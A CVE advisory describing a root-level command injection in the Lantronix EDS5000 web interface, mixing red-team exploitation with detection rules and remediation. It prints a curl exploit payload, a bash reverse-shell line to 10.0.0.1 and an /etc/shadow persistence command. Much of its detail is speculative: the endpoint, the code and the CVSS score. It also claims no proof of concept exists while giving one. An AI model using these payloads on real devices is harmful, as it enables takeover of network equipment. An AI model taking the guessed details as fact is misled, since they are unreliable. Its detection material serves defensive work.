CVE-2025-67034

Executive Summary

CVE-2025-67034 is a critical OS command injection vulnerability discovered in the Lantronix EDS5000 device running firmware version 2.1.0.0R3. An authenticated attacker can inject arbitrary operating system commands into the "name" parameter when deleting SSL credentials through the web-based management interface. These injected commands are executed with root privileges, leading to full device compromise. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The CVSS score is 0.0 due to incomplete scoring data, but based on the impact (root-level command execution), the actual severity is critical.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete data), a realistic assessment based on the vulnerability description yields the following vector:

• Attack Vector (AV): Network (AV:N) – The management interface is accessible over the network.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): High (PR:H) – Authentication is required.
• User Interaction (UI): None (UI:N) – No user interaction is needed.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Full file system access.
• Integrity (I): High (I:H) – Full system modification.
• Availability (A): High (A:H) – Potential denial of service.

Threat Level: Critical (9.1) – Root-level command injection in a network device.

Deep Dive & Mechanics

The vulnerability resides in the SSL credential deletion functionality of the Lantronix EDS5000 management interface. The application fails to sanitize user input in the "name" parameter before passing it to a system command (likely rm or a custom script). An authenticated attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The application uses a function like system() or exec() to delete SSL credential files, directly concatenating the user-supplied "name" parameter into the command string without proper escaping or validation.

Attack Flow:

1. Attacker authenticates to the management interface (e.g., via HTTP/HTTPS).
2. Attacker sends a POST request to the SSL credential deletion endpoint with a crafted "name" parameter.
3. The server executes a command similar to: rm /etc/ssl/credentials/<name>.
4. By injecting ; id > /tmp/out, the attacker executes id and writes output to a file.
5. The command runs with root privileges, allowing full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void delete_ssl_credential(char *name) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "rm /etc/ssl/credentials/%s", name);
    system(cmd);
}

Patched Code (Conceptual):

void delete_ssl_credential(char *name) {
    // Validate input: only allow alphanumeric and underscore
    if (!is_valid_filename(name)) {
        log_error("Invalid credential name");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "rm /etc/ssl/credentials/%s", name);
    system(cmd);
}

The patched version should include input validation (e.g., whitelist of allowed characters) and avoid using system() with user input. A safer approach would be to use execve() with a fixed command and pass the filename as a sanitized argument.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Lantronix EDS5000 with firmware 2.1.0.0R3
• Valid credentials (e.g., admin/admin)

Exploitation Steps:

1. Authenticate to the management interface.
2. Identify the SSL credential deletion endpoint (e.g., /delete_ssl_credential).
3. Send a crafted POST request:

curl -X POST https://<target>/delete_ssl_credential \
  -d "name=test;id>/tmp/pwned" \
  -u admin:admin

4. Verify execution:

curl -k https://<target>/tmp/pwned -u admin:admin

Alternative Payloads:

• Reverse shell: name=test;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
• Persistence: name=test;echo 'admin:$1$xyz$...' >> /etc/shadow

Blue Team

Detection:

• Monitor HTTP POST requests to /delete_ssl_credential with suspicious parameters.
• Look for shell metacharacters (;, |, &&, `) in the "name" parameter.
• Alert on unusual process execution (e.g., id, bash, nc) from the web server process.

Honeypot:

• Deploy a fake Lantronix EDS5000 with logging enabled.
• Capture all POST requests to the SSL deletion endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /delete_ssl_credential with shell metacharacters.
• Outbound connections from the device to attacker-controlled IPs (e.g., reverse shell).
• Unusual DNS queries from the device.

Host IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/out).
• Modified /etc/shadow or /etc/passwd.
• New processes: bash, nc, python, perl spawned by the web server.
• Log entries in /var/log/messages or /var/log/syslog showing command execution.

File IOCs:

• Files with names containing shell metacharacters in /etc/ssl/credentials/.

Detection Engineering

YARA Rule

rule CVE_2025_67034_Lantronix_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts in Lantronix EDS5000 SSL credential deletion"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67034"
    strings:
        $http_post = "POST /delete_ssl_credential"
        $shell_meta1 = /name=[^&]*[;&|`$]/
        $shell_meta2 = /name=[^&]*\|\|/
        $shell_meta3 = /name=[^&]*&&/
    condition:
        $http_post and ($shell_meta1 or $shell_meta2 or $shell_meta3)
}

Sigma Rule

title: Lantronix EDS5000 OS Command Injection via SSL Credential Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects OS command injection attempts in Lantronix EDS5000 SSL credential deletion
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-67034
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/delete_ssl_credential'
        cs-uri-query|contains: 
            - 'name=*;*'
            - 'name=*|*'
            - 'name=*`*'
            - 'name=*$*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in credential names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67034 Lantronix EDS5000 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/delete_ssl_credential"; http_uri;
    pcre:"/name=[^&]*(?:;|\||`|\$)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management if not required, or restrict access via firewall rules to trusted IPs only.
2. Change default credentials and enforce strong passwords.
3. Monitor logs for suspicious activity on the management interface.

Long-term Fix:

• Apply a firmware patch from Lantronix when available.
• Implement input validation and parameterized commands in the firmware.
• Consider replacing the device if no patch is released.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests to /delete_ssl_credential and block those containing shell metacharacters.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert